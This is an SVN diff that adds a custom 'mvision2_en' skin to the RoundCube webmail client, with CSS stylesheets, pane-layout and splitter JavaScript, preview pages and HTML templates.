+#remote-objects-message
+{
+  display: none;
+  height: 20px;
+  min-height: 20px;
+  margin: 8px 8px 0px 8px;
+  padding: 10px 10px 6px 46px;
+}
+
+#remote-objects-message a
+{
+  color: #666666;
+  padding-left: 10px;
+}
+
+#remote-objects-message a:hover
+{
+  color: #333333;
+}
+
+
+/** message compose styles */
+
+#priority-selector
+{
+  position: absolute;
+  left: 280px;
+  top: 2px;
+}
+
+#receipt-selector
+{
+  position: absolute;
+  left: 1px;
+  top: 50px;
+  z-index: 10;
+}
+table#compose-headers{padding-bottom:3px;}
+#compose-container
+{
+  position: absolute;
+  /* top: 90px; */
+  top: 127px;
+  left: 200px;
+  right: 40px;
+  bottom: 40px;
+  padding: 0px;
+  margin: 0px;
+  /* css hack for IE */
+  width: expression(document.documentElement.clientWidth-240);
+  height: expression((parseInt(document.documentElement.clientHeight)-130)+'px');
+}
+
+/*
+#compose-headers
+{
+  position: absolute;
+  top: 70px;
+  left: 200px;
+  height: 84px;
+  border-top: 1px solid #cccccc;
+  overflow: auto;
+}
+
+#compose-headers td
+{
+  padding-top: 1px;
+  padding-bottom: 1px;
+  border-right: 1px solid #cccccc;
+  border-bottom: 1px solid #cccccc;
+}
+*/
+
+#compose-headers
+{
+  width: 100%;
+}
+
+/*
+#compose-headers td
+{
+  width: 100%;
+}
+*/
+
+#compose-headers td.top
+{
+  vertical-align: top;
+}
+
+#compose-headers td.title,
+#compose-subject td.title
+{
+  width: 80px !important;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;
+  padding-right: 10px;
+  white-space: nowrap;
+}
+
+#compose-headers td.add-button
+{
+  width: 40px !important;
+  text-align: right;
+  vertical-align: bottom;
+}
+
+#compose-headers td.add-button a
+{
+  color: #000000;
+  font-size: 11px;
+  text-decoration: none;
+}
+
+#compose-headers td textarea
+{
+  width: 100%;
+  height: 40px;
+}
+
+#compose-headers td input
+{
+  width: 100%;
+}
+
+#compose-cc,
+#compose-bcc,
+#compose-replyto
+{
+  display: none;
+}
+
+#compose-body
+{
+  margin-top: 5px;
+  margin-bottom: 10px;
+  width: 99%;
+  height: 60%;
+  min-height: 260px;
+  font-size: 11px;
+  font-family: Tahoma;
+}
+
+#compose-list
+{
+  position: absolute;
+  top: 50px;
+  left: 2px;
+  width: 160px;
+}
+
+
+#compose-attachments
+{
+  position: absolute;
+  top: 42px;
+  left: 20px;
+  width: 160px;
+}
+
+#compose-attachments ul
+{
+  margin: 0px;
+  padding: 0px;
+  border: 0px solid #86A5C1;
+  list-style-image: none;
+  list-style-type: none;
+}
+
+#compose-attachments ul li
+{
+  height: 18px;
+  font-size: 11px;
+  padding-left: 2px;
+  padding-top: 2px;
+  padding-right: 4px;
+  border: 1px solid #9EB7CD;
+  white-space: nowrap;
+  overflow: hidden;
+  margin-bottom: 1px;
+  background-color: #D7E1EC;
+}
+
+#attachment-title
+{
+  background: url('images/icons/attachment.png') top left no-repeat;
+  padding: 0px 0px 3px 22px;
+}
+
+#attachment-form
+{
+  position: absolute;
+  top: 150px;
+  left: 20px;
+  z-index: 200;
+  padding: 8px;
+  visibility: hidden;
+  border: 1px solid #A4BCD5;
+  background-color: #ffffff;
+}
+
+#attachment-form input.button
+{
+  margin-top: 8px;
+}
+
+#attach
+{
+  background: url('images/attach.png');
+  background-repeat: no-repeat;
+  height: 42px;
+  width: 168px;
+}
+
+#bg-text
+{
+  padding-left: 10px;
+  padding-bottom: 5px;
+  padding-top: 4px;
+  padding-right: 4px;
+}
+
+#lable-from
+{
+  padding-left: 5px;
+  padding-bottom: 5px;
+  padding-top: 4px;
+  padding-right: 43px;
+}
+
+#lable-to
+{
+  padding-left: 5px;
+  padding-bottom: 34px;
+  padding-top: 4px;
+  padding-right: 30px;
+}
+
+#lable-cc
+{
+  padding-left: 5px;
+  padding-bottom: 34px;
+  padding-top: 4px;
+  padding-right: 55px;
+}
+
+#lable-bcc
+{
+
+  padding-left: 5px;
+  padding-bottom: 34px;
+  padding-top: 4px;
+  padding-right: 64px;
+}
+
+#lable-subject
+{
+  padding-left: 5px;
+  padding-bottom: 3px;
+  padding-top: 4px;
+  padding-right: 40px;
+}
+
+#send-cancel
+{
+  padding-top: 10px;
+  padding-bottom: 15px;
+}
+
+#answ
+{
+  padding-top: 1px;
+  padding-bottom: 1px;
+  padding-left: 2px;
+  margin:1px;
+  background-color: #D7E1EC;
+}
+
+#answ-lable
+{
+  border: 1px solid #BCCCDA;
+  position: absolute;
+  top: 0px;
+  left: 0px;
+  padding-top: 4px;
+  padding-bottom: 5px;
+  padding-right: 10px;
+  padding-left: 27px;
+  background-color: #D7E1EC;
+  z-index: -1;
+}
Index: skins/mvision2_en/paneswitch.js
===================================================================
--- skins/mvision2_en/paneswitch.js	(revision 0)
+++ skins/mvision2_en/paneswitch.js	(revision 0)
@@ -0,0 +1,162 @@
+ var configSet;
+ function isIE()   {
+ 	return /msie/i.test(navigator.userAgent) && !/opera/i.test(navigator.userAgent);
+ }
+//now do some work on the vertical pane
+function getWindowWidth() {
+	var windowWidth = 0;
+	if (typeof(window.innerWidth) == 'number') {
+		windowWidth = window.innerWidth;
+	}
+	else {
+		if (document.documentElement && document.documentElement.clientWidth) {
+			windowWidth = document.documentElement.clientWidth;
+		}
+		else {
+			if (document.body && document.body.clientWidth) {
+				windowWidth = document.body.clientWidth;
+			}
+		}
+	}
+	return windowWidth;
+}
+function getWindowHeight() {
+	var windowWidth = 0;
+	if (typeof(window.innerHeight) == 'number') {
+		windowHeight = window.innerHeight;
+	}
+	else {
+		if (document.documentElement && document.documentElement.clientHeight) {
+			windowHeight = document.documentElement.clientHeight;
+		}
+		else {
+			if (document.body && document.body.clientHeight) {
+				windowHeight = document.body.clientHeight;
+			}
+		}
+	}
+	return windowHeight;
+}
+var iCheck = 0;
+var iMove;
+var iMoveSplit;
+function setVertical () {
+	//get all elements
+	oMailList = document.getElementById('mailcontframe');				// message list container
+	oPreviewPane = document.getElementById('mailpreviewframe');			// preview frame container
+	oPreviewPaneIFrame = document.getElementById('messagecontframe');	// iframe for preview
+	oSplitter = document.getElementById('mailviewsplittervertical');	// splitter
+	//get browser dimensions
+	var iBrowserWidth = getWindowWidth();
+	var iBrowserHeight = getWindowHeight();
+	if (iBrowserWidth > 1025) var iOpenBy = 380; else var iOpenBy = 300;
+	if (oMailList && oPreviewPane && oSplitter) { 
+		//frame is present
+		if (iOpenBy == 380) iMove = 575;
+		else iMove=495;
+		iMailHeight=iBrowserHeight-127; // the top of the mail/preview panes
+		iPreviewWidth=iBrowserWidth-iMove-19; // width of preview pane
+		//do the preview pane
+		oPreviewPane.style.top=85+'px'
+		oPreviewPane.style.bottom=40+'px'
+		oPreviewPane.style.left = iMove+'px';
+		oPreviewPaneIFrame.style.right = 0+'px';
+		oPreviewPaneIFrame.style.height='100%';
+		oPreviewPane.style.width=iPreviewWidth+'px'
+		
+		//do the splitter
+		iMoveSplit = iMove - 13;
+		oSplitter.style.left = iMoveSplit+'px';
+		oSplitter.style.top = 85+'px';
+		oSplitter.style.bottom = 40+'px';
+		oSplitter.style.height=iMailHeight+"px"
+		
+		//change the mail list
+		oMailList.style.width=iOpenBy+'px';
+		oMailList.style.height=iMailHeight+"px"
+	}
+	iCheck++;
+}
+function setHorizontal () {
+	//get browser dimensions
+	var iBrowserWidth = getWindowWidth();
+	var iBrowserHeight = getWindowHeight();
+	if (iBrowserHeight > 769) var iOpenBy = 300; else var iOpenBy = 220;
+	//get all elements
+	oMailList = document.getElementById('mailcontframe');				// message list container
+	oPreviewPane = document.getElementById('mailpreviewframe');			// preview frame container
+	oPreviewPaneIFrame = document.getElementById('messagecontframe');	// iframe for preview
+	oSplitter = document.getElementById('mailviewsplitterhorizontal');	// splitter
+	//set the correct params
+	if (oMailList && oPreviewPane && oSplitter) { 
+		//frame is present
+		if (iOpenBy == 300) iMove = 399;
+		else iMove=319;
+		iPreviewWidth=iBrowserWidth-182;	//width of viewing pane (minus left column)
+		//do the preview pane
+		oPreviewPane.style.top=iMove+'px'
+		oPreviewPane.style.bottom=40+'px'
+		oPreviewPane.style.left = 180+'px';
+		oPreviewPane.style.right = 0+'px';
+		oPreviewPaneIFrame.style.right = 0+'px';
+		oPreviewPaneIFrame.style.height='100%';
+		oPreviewPane.style.width=iPreviewWidth+'px'
+		
+		//do the splitter
+		iMoveSplit = iMove - 11;
+		if (isIE() && typeof document.body.style.maxHeight != "undefined") iMoveSplit = iMove -9; // ie7
+		if (isIE() && typeof document.body.style.maxHeight == "undefined") iMoveSplit = iMove -12; // ie6
+		oSplitter.style.left = 180+'px';
+		oSplitter.style.top = iMoveSplit+'px';
+		oSplitter.style.width=iPreviewWidth+'px'
+		
+		//change the mail list
+		iWindowWidth=iBrowserWidth-187;
+		oMailList.style.width=iWindowWidth+'px';
+		oMailList.style.height=iOpenBy+"px"
+		if (isIE()) {
+			//we have to get the email list twice onload because of stupid fucking IE 
+			rcmail.command('list','INBOX',this)
+			setTimeout("document.getElementById('messagecontframe').style.display='block'",250);setTimeout("document.getElementById('messagecontframe').style.display='block'",500);setTimeout("document.getElementById('messagecontframe').style.display='block'",750);setTimeout("document.getElementById('messagecontframe').style.display='block'",1000);setTimeout("document.getElementById('messagecontframe').style.display='block'",1250);setTimeout("document.getElementById('messagecontframe').style.display='block'",1500);setTimeout("document.getElementById('messagecontframe').style.display='block'",1750);setTimeout("document.getElementById('messagecontframe').style.display='block'",2000);setTimeout("document.getElementById('messagecontframe').style.display='block'",2250);setTimeout("document.getElementById('messagecontframe').style.display='block'",2500);setTimeout("document.getElementById('messagecontframe').style.display='block'",2750);setTimeout("document.getElementById('messagecontframe').style.display='block'",3000);setTimeout("document.getElementById('messagecontframe').style.display='block'",3250);setTimeout("document.getElementById('messagecontframe').style.display='block'",3500);setTimeout("document.getElementById('messagecontframe').style.display='block'",3750);setTimeout("document.getElementById('messagecontframe').style.display='block'",4000);setTimeout("document.getElementById('messagecontframe').style.display='block'",4250);setTimeout("document.getElementById('messagecontframe').style.display='block'",4500);setTimeout("document.getElementById('messagecontframe').style.display='block'",4750);setTimeout("document.getElementById('messagecontframe').style.display='block'",5000);setTimeout("document.getElementById('messagecontframe').style.display='block'",5500);setTimeout("document.getElementById('messagecontframe').style.display='block'",6000);setTimeout("document.getElementById('messagecontframe').style.display='block'",6500);setTimeout("document.getElementById('messagecontframe').style.display='block'",7000);setTimeout("document.getElementById('messagecontframe').style.display='block'",7500);setTimeout("document.getElementById('messagecontframe').style.display='block'",8000);setTimeout("document.getElementById('messagecontframe').style.display='block'",9000);setTimeout("document.getElementById('messagecontframe').style.display='block'",10000);setTimeout("document.getElementById('messagecontframe').style.display='block'",11000);setTimeout("document.getElementById('messagecontframe').style.display='block'",12000);setTimeout("document.getElementById('messagecontframe').style.display='block'",13000);setTimeout("document.getElementById('messagecontframe').style.display='block'",14000);setTimeout("document.getElementById('messagecontframe').style.display='block'",15000);setTimeout("document.getElementById('messagecontframe').style.display='block'",16000);setTimeout("document.getElementById('messagecontframe').style.display='block'",17000);setTimeout("document.getElementById('messagecontframe').style.display='block'",18000);setTimeout("document.getElementById('messagecontframe').style.display='block'",19000);setTimeout("document.getElementById('messagecontframe').style.display='block'",20000);setTimeout("document.getElementById('messagecontframe').style.display='block'",25000);setTimeout("document.getElementById('messagecontframe').style.display='block'",30000);
+		}
+	}
+}
+
+var mailviewsplitHorizontal;
+var mailviewsplitVertical
+function switchLayout() {
+	
+	//do the switch
+	if (document.styleSheets[1].disabled) {
+		// switch to horizontal
+		document.styleSheets[1].disabled = false;
+		document.styleSheets[0].disabled = true;
+		var iBrowserWidth = getWindowWidth();
+		oPreviewPane = document.getElementById('mailpreviewframe');			// preview frame container
+		iPreviewWidth=iBrowserWidth-182;
+		oPreviewPane.style.width=iPreviewWidth+'px'
+		if (!mailviewsplitHorizontal) {
+			mailviewsplitHorizontal = new rcube_splitter({id:'mailviewsplitterhorizontal', p1: 'mailcontframe', p2: 'mailpreviewframe', orientation: 'h'});
+  			mailviewsplitHorizontal.init();
+  		}
+  		if (mailviewsplitVertical) document.getElementById('mailviewsplittervertical').style.display='none';
+  		setHorizontal();
+  		//continue
+  		document.getElementById('mailviewsplitterhorizontal').style.display='block';
+  		document.getElementById('messagecontframe').src = 'skins/mvision2_en/preview.html';
+  		document.getElementById('switchLayout').innerHTML = 'Vertical';  		
+  	} else {
+		//switch to vertical (default)
+		document.styleSheets[1].disabled = true;
+		document.styleSheets[0].disabled = false;
+		if (!mailviewsplitVertical) {
+			mailviewsplitVertical = new rcube_splitter({id:'mailviewsplittervertical', p1: 'mailcontframe', p2: 'mailpreviewframe', orientation: 'v'});
+  			mailviewsplitVertical.init();
+  		}
+		if (mailviewsplitHorizontal) document.getElementById('mailviewsplitterhorizontal').style.display='none';
+		document.getElementById('mailviewsplittervertical').style.display='block';
+  		setVertical();
+  		document.getElementById('messagecontframe').src = 'skins/mvision2_en/previewVertical.html';
+  		document.getElementById('switchLayout').innerHTML = 'Horizontal';
+	}
+}
\ No newline at end of file
Index: skins/mvision2_en/preview.html
===================================================================
--- skins/mvision2_en/preview.html	(revision 0)
+++ skins/mvision2_en/preview.html	(revision 0)
@@ -0,0 +1,12 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+</head>
+<body style="background-color:#ffffff; margin: 0px;">
+
+<div style="margin: 0px; text-align:center;">
+<img src="images/preview.jpg" width="507" height="185" alt="" />
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/previewVertical.html
===================================================================
--- skins/mvision2_en/previewVertical.html	(revision 0)
+++ skins/mvision2_en/previewVertical.html	(revision 0)
@@ -0,0 +1,12 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+</head>
+<body style="background-color:#ffffff; margin: 0px;">
+
+<div style="margin: 0px; text-align:center;height:100%;line-height:100%;vertical-align:center;">
+<img src="images/previewVertical.jpg" alt="" style="width:185px;height:507px;position:relative;top:100px;bottom:100px;"/>
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/print.css
===================================================================
--- skins/mvision2_en/print.css	(revision 0)
+++ skins/mvision2_en/print.css	(revision 0)
@@ -0,0 +1,136 @@
+/***** RoundCube|Mail message print styles *****/
+
+body
+{
+  background-color: #ffffff;
+  color: #000000;
+  margin: 2mm;
+}
+
+body, td, th, span, div, p, h3
+{
+  font-family: Tahoma;
+  font-size: 11px;
+  color: #000000;
+}
+
+h3
+{
+  font-size: 11px;
+  color: #000000;
+}
+
+a, a:active, a:visited
+{
+  color: #000000;
+}
+
+#header
+{
+  margin-left: 5mm;
+  margin-bottom: 3mm;
+}
+
+#messageframe
+{
+  position: relative;
+}
+
+table.headers-table
+{
+  table-layout: fixed;
+}
+
+table.headers-table tr td
+{
+  font-size: 11px;
+}
+
+table.headers-table td.header-title
+{
+  color: #666666;
+  font-weight: bold;
+  text-align: right;
+  vertical-align: top;
+  padding-right: 4mm;
+  white-space: nowrap;
+}
+
+table.headers-table tr td.subject
+{
+  width: 90%;
+  font-weight: bold;
+}
+  
+#attachment-list
+{
+  margin-top: 3mm;
+  padding-top: 3mm;
+  border-top: 1px solid #cccccc;
+}
+
+#attachment-list li
+{
+  font-size: 11px;
+}
+
+#attachment-list li a
+{
+  text-decoration: none;
+}
+
+#attachment-list li a:hover
+{
+  text-decoration: underline;
+}
+
+#messagebody
+{
+  margin-top: 5mm;
+  border-top: none;
+}
+
+div.message-part
+{
+  padding: 2mm;
+  margin-top: 5mm;
+  margin-bottom: 5mm;
+  border-top: 1px solid #cccccc;
+}
+
+div.message-part a
+{
+  color: #0000CC;
+}
+
+div.message-part div.pre
+{
+  margin: 0;
+  padding: 0;
+  white-space: pre;
+  font-family: Tahoma;
+}
+
+div.message-part blockquote
+{
+	color: blue;
+	border-left: 2px solid blue;
+	border-right: 2px solid blue;
+	background-color: #F6F6F6;
+	margin: 0.5em 0em 0.5em 0em;
+	padding: 0.25em 1em 0.25em 1em;
+}
+
+div.message-part blockquote blockquote
+{
+	color: green;
+	border-left: 2px solid green;
+	border-right: 2px solid green;
+}
+
+div.message-part blockquote blockquote blockquote
+{
+	color: #990000;
+	border-left: 2px solid #bb0000;
+	border-right: 2px solid #bb0000;
+}
Index: skins/mvision2_en/settings.css
===================================================================
--- skins/mvision2_en/settings.css	(revision 0)
+++ skins/mvision2_en/settings.css	(revision 0)
@@ -0,0 +1,227 @@
+/***** RoundCube|Mail settings task styles *****/
+
+
+
+#tabsbar
+{
+  position: absolute;
+  top: 67px;
+  left: 20px;  
+  height: 28px;
+  border-bottom: 1px solid #999999;
+  white-space: nowrap;
+  /* css hack for IE */
+  width: expression((parseInt(document.documentElement.clientWidth)-280)+'px');
+}
+
+
+span.tablink,
+span.tablink-selected
+{
+  float: left;
+  width: 100px;
+  height: 28px !important;
+  height: 28px;
+  background: url('images/tab_pas.png') top left no-repeat;
+}
+
+span.tablink-selected
+{
+  background: url('images/tab_act.png') top left no-repeat;
+}
+
+span.tablink a
+{
+  display: block;
+  padding-top: 12px;
+  color: #334F64;
+  text-decoration: none;
+  text-align: center;
+}
+
+span.tablink-selected a
+{
+  display: block;
+  padding-top: 7px;
+  color: #555555;
+  text-decoration: none;
+  text-align: center;
+}
+
+span.tablink-selected a
+{
+  color: #000000;
+}
+
+#userprefs-box
+{
+  position: absolute;
+  top: 95px;
+  left: 20px;
+  width: 600px;
+  border: 1px solid #BCCCDA;  
+}
+
+#userprefs-box table td.title
+{
+  color: #000000;
+  padding-right: 10px;
+}
+
+#identities-list,
+#folder-manager
+{
+  position: absolute;
+  top: 95px;
+  left: 20px;
+  image-align: center;
+}
+
+#folder-manager
+{
+  width: 500px;
+  bottom: 120px;
+  overflow: auto;
+  border: 1px solid #BCCCDA;
+  background-color: #ffffff;
+  height: expression((parseInt(document.documentElement.clientHeight)-215)+'px');
+}
+
+#identities-table
+{
+  width: 600px;
+  border: 1px solid #BCCCDA;
+  background-color: #ffffff;
+}
+
+#identities-table tbody td
+{
+  cursor: pointer;
+}
+
+#identity-frame
+{
+  position: relative;
+  margin-top: 20px;
+  border: 1px solid #999999;
+}
+
+#identity-details
+{
+  margin-top: 10px;
+  width: 600px;
+  border: 1px solid #BCCCDA;
+  background-color: #ffffff;
+}
+
+#identity-details table td.title
+{
+  color: #2F4A66;
+  font-weight: bold;
+  text-align: right;
+  padding-right: 10px;
+}
+
+#bottomboxes
+{
+  position: absolute;
+  width: 500px;
+  height: 100px;
+  left: 20px;
+  bottom: 20px;
+}
+
+#userprefs-title
+{
+  height: 12px !important;
+  height: 23px;
+  padding: 4px 20px 7px 6px;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;
+  background-color: #ffffff;
+  background-image: url('images/listheader_aqua-1.png'); 
+  
+}
+
+#identity-title
+{
+  height: 12px !important;
+  height: 23px;
+  padding: 4px 20px 7px 6px;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;
+  background-color: #ffffff;
+  background-image: url('images/listheader_aqua-1.png'); 
+  
+}
+
+div.boxtitle
+{
+  height: 12px !important;
+  height: 23px;
+  padding: 4px 20px 7px 6px;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;
+  background-color: #ffffff;
+  background-image: url('images/listheader_aqua-1.png'); 
+  
+}
+
+#subscription-table thead td
+{
+  height: 12px !important;
+  height: 23px;
+  padding: 4px 20px 6px 6px;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;
+  background-color: #ffffff;
+  background-image: url('images/listheader_aqua-1.png'); 
+  
+}
+
+div.settingsbox
+{
+  width: 500px;
+  margin-top: 20px;
+  margin-bottom: 20px;
+  border: 1px solid #BCCCDA;
+  background-color: #ffffff;
+}
+
+div.settingspart
+{
+  display: block;
+  padding: 10px;
+}
+
+#subscription-table
+{
+  width: 100%;
+  table-layout: fixed;
+}
+
+#subscription-table tbody td
+{
+  padding-left: 6px;
+  padding-right: 20px;
+  white-space: nowrap;
+  border-bottom: 1px solid #D7E2EC;
+  border-top: 0px solid #ffffff;
+  background-color: #EFF3F8;
+  border-left: 0px solid #ffffff;
+}
+
+#subscription-table td.name
+{
+  width: 280px;
+}
+
+#subscription-table td.subscribed
+{
+  width: 80px;
+  border-left: 0px solid #ffffff;
+}
Index: skins/mvision2_en/splitter.js
===================================================================
--- skins/mvision2_en/splitter.js	(revision 0)
+++ skins/mvision2_en/splitter.js	(revision 0)
@@ -0,0 +1,209 @@
+
+/**
+ * RoundCube splitter GUI class
+ *
+ * @constructor
+ */
+function rcube_splitter(attrib)
+  {
+  this.p1id = attrib.p1;
+  this.p2id = attrib.p2;
+  this.id = attrib.id ? attrib.id : this.p1id + '_' + this.p2id + '_splitter';
+  this.orientation = attrib.orientation;
+  this.horizontal = (this.orientation == 'horizontal' || this.orientation == 'h');
+  this.offset_1 = bw.ie ? 0 : (bw.safari ? 2 : -1);
+  this.offset_2 = bw.ie ? -2 : (bw.safari ? -2 : 1);
+  this.pos = 0;
+
+  this.init = function()
+    {
+    this.p1 = document.getElementById(this.p1id);
+    this.p2 = document.getElementById(this.p2id);
+    
+    // create and position the handle for this splitter
+    this.p1pos = rcube_get_object_pos(this.p1);
+    this.p2pos = rcube_get_object_pos(this.p2);
+    var top = this.p1pos.y + this.p1.offsetHeight;
+    var height = this.p2pos.y - this.p1pos.y - this.p1.offsetHeight;
+    var left = this.p1pos.x + this.p1.offsetWidth;
+    var width = this.p2pos.x - this.p1pos.x - this.p1.offsetWidth;
+    
+    if (this.horizontal)
+      this.layer = new rcube_layer(this.id, {x: this.p1pos.x, y: top, height: height, width: this.p1.offsetWidth, vis: 1});
+    else
+      this.layer = new rcube_layer(this.id, {x: left, y: this.p1pos.y, width: width, height: this.p1.offsetHeight, vis: 1});
+
+    this.elm = this.layer.elm;
+    this.elm.className = 'splitter '+(this.horizontal ? 'splitter-h' : 'splitter-v');
+
+    // add the mouse event listeners
+    rcube_event.add_listener({element: this.elm, event:'mousedown', object:this, method:'onDragStart'});
+    rcube_event.add_listener({element: window, event:'resize', object:this, method:'onResize'});
+
+    // read saved position form cookie
+    var cookie = bw.get_cookie(this.id);
+    if (cookie)
+      {
+      var param = cookie.split(':');
+      for (var i=0, p; i<param.length; i++)
+        {
+        p = param[i].split('=');
+        this[p[0]] = !isNaN(p[1]) ? parseFloat(p[1]) : p[1];
+        }
+
+      this.resize();
+      }
+    };
+
+  /**
+   * Set size and position of all DOM objects
+   * according to the saved splitter position
+   */
+  this.resize = function()
+    {
+     if (this.horizontal)
+      {
+      this.p1.style.height = Math.floor(this.pos - this.p1pos.y - this.layer.height / 2 + this.offset_1) + 'px';
+      this.p2.style.top = Math.ceil(this.pos + (this.layer.height / 2 + this.offset_2)) + 'px';
+      this.layer.move(this.layer.x, Math.round(this.pos - this.layer.height / 2 + 1));
+      }
+    else
+      {
+      this.p1.style.width = Math.floor(this.pos - this.p1pos.x - this.layer.width / 2 + this.offset_1) + 'px';
+      this.p2.style.left = Math.ceil(this.pos + this.layer.width / 2 + this.offset_2) + 'px';
+      this.layer.move(Math.round(this.pos - this.layer.width / 2 + 1), this.layer.y);
+      }
+    };
+
+  /**
+   * Handler for mousedown events
+   */
+  this.onDragStart = function(e)
+    {
+    this.p1pos = rcube_get_object_pos(this.p1);
+    this.p2pos = rcube_get_object_pos(this.p2);
+
+    // start listening to mousemove events
+    rcube_event.add_listener({element:document, event:'mousemove', object:this, method:'onDrag'});
+    rcube_event.add_listener({element:document, event:'mouseup', object:this, method:'onDragStop'});
+
+    // need to listen in any iframe documents too, b/c otherwise the splitter stops moving when we move over an iframe
+    var iframes = document.getElementsByTagName('IFRAME');
+    this.iframe_events = Object();
+    for (var n in iframes)
+      {
+      var iframedoc = null;
+      if (iframes[n].contentDocument)
+        iframedoc = iframes[n].contentDocument;
+      else if (iframes[n].contentWindow)
+        iframedoc = iframes[n].contentWindow.document;
+      else if (iframes[n].document)
+        iframedoc = iframes[n].document;
+      if (iframedoc)
+        {
+        // I don't use the add_listener function for this one because I need to create closures to fetch
+        // the position of each iframe when the event is received
+        var s = this;
+        var id = iframes[n].id;
+        this.iframe_events[n] = function(e){ e._rc_pos_offset = rcube_get_object_pos(document.getElementById(id)); return s.onDrag(e); }
+        if (iframedoc.addEventListener)
+          iframedoc.addEventListener('mousemove', this.iframe_events[n], false);
+        else if (iframes[n].attachEvent)
+          iframedoc.attachEvent('onmousemove', this.iframe_events[n]);
+        else
+          iframedoc['onmousemove'] = this.iframe_events[n];
+
+        rcube_event.add_listener({element:iframedoc, event:'mouseup', object:this, method:'onDragStop'});
+        }
+      }
+    }
+
+  /**
+   * Handler for mousemove events
+   */
+  this.onDrag = function(e)
+    {
+    var pos = rcube_event.get_mouse_pos(e);
+    if (e._rc_pos_offset)
+      {
+      pos.x += e._rc_pos_offset.x;
+      pos.y += e._rc_pos_offset.y;
+      }
+
+    if (this.horizontal)
+      {
+      if (((pos.y - this.layer.height * 1.5) > this.p1pos.y) && ((pos.y + this.layer.height * 1.5) < (this.p2pos.y + this.p2.offsetHeight)))
+        {
+        this.pos = pos.y;
+        this.resize();
+        }
+      }
+    else
+      {
+      if (((pos.x - this.layer.width * 1.5) > this.p1pos.x) && ((pos.x + this.layer.width * 1.5) < (this.p2pos.x + this.p2.offsetWidth)))
+        {
+        this.pos = pos.x;
+        this.resize();
+        }
+      }
+
+    this.p1pos = rcube_get_object_pos(this.p1);
+    this.p2pos = rcube_get_object_pos(this.p2);
+    return false;
+    };
+
+  /**
+   * Handler for mouseup events
+   */
+  this.onDragStop = function(e)
+    {
+    // cancel the listening for drag events
+    rcube_event.remove_listener({element:document, event:'mousemove', object:this, method:'onDrag'});
+    rcube_event.remove_listener({element:document, event:'mouseup', object:this, method:'onDragStop'});
+    var iframes = document.getElementsByTagName('IFRAME');
+
+    for (var n in iframes)
+      {
+      var iframedoc;
+      if (iframes[n].contentDocument)
+        iframedoc = iframes[n].contentDocument;
+      else if (iframes[n].contentWindow)
+        iframedoc = iframes[n].contentWindow.document;
+      else if (iframes[n].document)
+        iframedoc = iframes[n].document;
+      if (iframedoc)
+        {
+        if (this.iframe_events[n]) {
+          if (iframedoc.removeEventListener)
+            iframedoc.removeEventListener('mousemove', this.iframe_events[n], false);
+          else if (iframedoc.detachEvent)
+            iframedoc.detachEvent('onmousemove', this.iframe_events[n]);
+          else
+            iframedoc['onmousemove'] = null;
+        }
+
+        rcube_event.remove_listener({element:iframedoc, event:'mouseup', object:this, method:'onDragStop'});
+        }
+      }
+
+    // save state in cookie
+    var exp = new Date();
+    exp.setYear(exp.getFullYear() + 1);
+    bw.set_cookie(this.id, 'pos='+this.pos, exp);
+
+    return bw.safari ? true : rcube_event.cancel(e);
+    };
+
+  /**
+   * Handler for window resize events
+   */
+  this.onResize = function(e)
+    {
+    this.p1pos = rcube_get_object_pos(this.p1);
+    this.p2pos = rcube_get_object_pos(this.p2);
+    var height = this.horizontal ? this.p2pos.y - this.p1pos.y - this.p1.offsetHeight : this.p1.offsetHeight;
+    var width = this.horizontal ? this.p1.offsetWidth : this.p2pos.x - this.p1pos.x - this.p1.offsetWidth;
+    this.layer.resize(width, height);
+    };
+
+  }  // end class rcube_splitter
Index: skins/mvision2_en/templates/addcontact.html
===================================================================
--- skins/mvision2_en/templates/addcontact.html	(revision 0)
+++ skins/mvision2_en/templates/addcontact.html	(revision 0)
@@ -0,0 +1,25 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/addresses.css" />
+</head>
+<body class="iframe">
+
+<div id="contact-title" class="boxtitle"><roundcube:label name="addcontact" /></div>
+
+<div id="contact-details">
+<roundcube:object name="contacteditform" size="40" />
+
+<p><br />
+<input type="button" value="<roundcube:label name="cancel" />" class="button" onclick="history.back()" />&nbsp;
+<roundcube:button command="save" type="input" class="button" label="save" />
+</p>
+
+</form>
+</div>
+
+
+</body>
+</html>
Index: skins/mvision2_en/templates/addidentity.html
===================================================================
--- skins/mvision2_en/templates/addidentity.html	(revision 0)
+++ skins/mvision2_en/templates/addidentity.html	(revision 0)
@@ -0,0 +1,36 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/settings.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+<roundcube:include file="/includes/settingstabs.html" />
+
+
+<div id="identities-list">
+<roundcube:object name="itentitiesList" id="identities-table" class="profilenew-table" cellspacing="1" summary="Identities list" editIcon="" />
+
+<p><roundcube:button command="add" type="input" label="newidentity" class="button" /></p>
+
+<div id="identity-details">
+<div id="identity-title"><roundcube:label name="newidentity" /></div>
+
+<div style="padding:15px;">
+<roundcube:object name="identityform" size="40" />
+
+<p><br />
+<roundcube:button command="save" type="input" class="button" label="save" />
+</p>
+</div>
+</div>
+</div>
+
+<roundcube:include file="/includes/settingscripts.html" />
+
+</body>
+</html>
